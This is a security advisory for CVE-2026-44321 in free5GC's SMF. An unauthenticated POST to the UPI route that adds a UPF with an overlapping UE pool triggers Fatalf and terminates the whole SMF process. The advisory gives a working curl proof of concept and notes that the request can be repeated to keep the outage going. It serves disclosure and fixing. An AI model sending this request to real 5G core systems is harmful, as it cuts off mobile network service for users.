CVE-2026-44321

### Summary free5GC's SMF mounts the `UPI` management route group without inbound OAuth2 middleware (same root cause as free5gc/free5gc#887). The `POST /upi/v1/upNodesLinks` create-or-update handler accepts attacker-controlled JSON and passes it directly into `UpNodesFromConfiguration()`, which calls `logger.InitLog.Fatalf(...)` on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (`docker ps` shows `Exited (1)`), not just the goroutine. This is a stronger sink than free5gc/free5gc#905: that one panics inside the request goroutine and Gin recovers; this one calls `Fatalf` which is `os.Exit(1)`-equivalent and kills the whole SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy lookups, etc.) until the process is restarted. ### Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/smf:v4.2.1` - Runtime SMF commit: `8385c00a` - Docker validation date: 2026-03-22 local (container log timestamp `2026-03-21T23:47:07Z`) - SMF endpoint: `http://10.100.200.6:8000` The broader `UPI` auth gap (#887) lets the unauthenticated POST reach the create/update handler. From there: Vulnerable handler dispatches into topology parsing: ``` POST /upi/v1/upNodesLinks -> UpNodesFromConfiguration() -> isOverlap(allUEIPPools) -> logger.InitLog.Fatalf("overlap cidr value between UPFs") ``` Code evidence (paths in `free5gc/smf`): - UPI group mounted WITHOUT auth middleware (preconditions for unauthenticated reachability): - `NFs/smf/internal/sbi/server.go:76` - `NFs/smf/internal/sbi/server.go:78` - Create-or-update handler accepts attacker JSON and forwards it to `UpNodesFromConfiguration()`: - `NFs/smf/internal/sbi/api_upi.go:60` - `NFs/smf/internal/sbi/api_upi.go:72` - Pool parsing (input from attacker JSON): - `NFs/smf/internal/context/user_plane_information.go:413` - Overlap check that calls `Fatalf`: - `NFs/smf/internal/context/user_plane_information.go:479` The same unauthenticated POST path also reaches sibling `Fatalf` calls for invalid-pool and static-pool-exclusion failures, so this is not a one-off code smell -- it is a class of attacker-reachable `Fatalf` call sites on a single unauthenticated handler: - `NFs/smf/internal/context/user_plane_information.go:416` - `NFs/smf/internal/context/user_plane_information.go:424` - `NFs/smf/internal/context/user_plane_information.go:430` ### PoC Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`. 1. Trigger: unauthenticated POST that adds a UPF with a UE pool overlapping the default UPF (`10.60.0.0/16`): ``` curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \ -H 'Content-Type: application/json' \ --data '{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}' ``` Client-side observation (server died mid-request, no HTTP response written): ``` curl: (52) Empty reply from server ``` 2. Confirm the SMF container exited: ``` docker ps -a --filter name=smf --format '{{.Names}}\t{{.Status}}' ``` ``` smf Exited (1) 9 seconds ago ``` 3. SMF container logs (`docker logs --tail 80 smf`) show the `FATA` line that terminated the process: ``` [FATA][SMF][Init] overlap cidr value between UPFs ``` ### Impact Unauthenticated process-kill DoS on the SMF management plane. 1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `UPI` route group makes the trigger reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no UE state needed. The same-instance `nsmf-oam` returning `401` (see free5gc/free5gc#887) proves OAuth middleware is wired in for other SMF route groups and only missing on UPI. 2. Reachable assertion / fail-fast (CWE-617): topology parsing calls `logger.InitLog.Fatalf(...)` on attacker-influenced validation failures. `Fatalf` is `os.Exit(1)`-equivalent -- it skips Gin's recovery, the deferred handlers, and kills the whole SMF process. This is materially worse than the related panic-DoS in free5gc/free5gc#905, which Gin recovers from at the goroutine level. Any party that can reach SMF on the SBI can: - Send one unauthenticated POST with an overlapping UE pool and immediately terminate the SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy interactions) until SMF is restarted. - Repeat the trigger after every restart to sustain the outage. - Use sibling `Fatalf` paths (invalid-pool, static-pool exclusion) to sustain the same DoS even if the overlap check is hardened in isolation, because the underlying defect is using `Fatalf` for request-time validation on an unauthenticated handler. No Confidentiality impact (the crash returns no data to the attacker). No persistent Integrity impact (the topology updates are in-memory and are lost when SMF dies). The whole impact concentrates in Availability: complete loss of SMF service via a single unauthenticated request. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/906 Upstream fix: https://github.com/free5gc/smf/pull/203

free5GC's SMF UPI POST /upi/v1/upNodesLinks exits the SMF process on overlapping UE pools (unauthenticated, reachable Fatalf) in github.com/free5gc/smf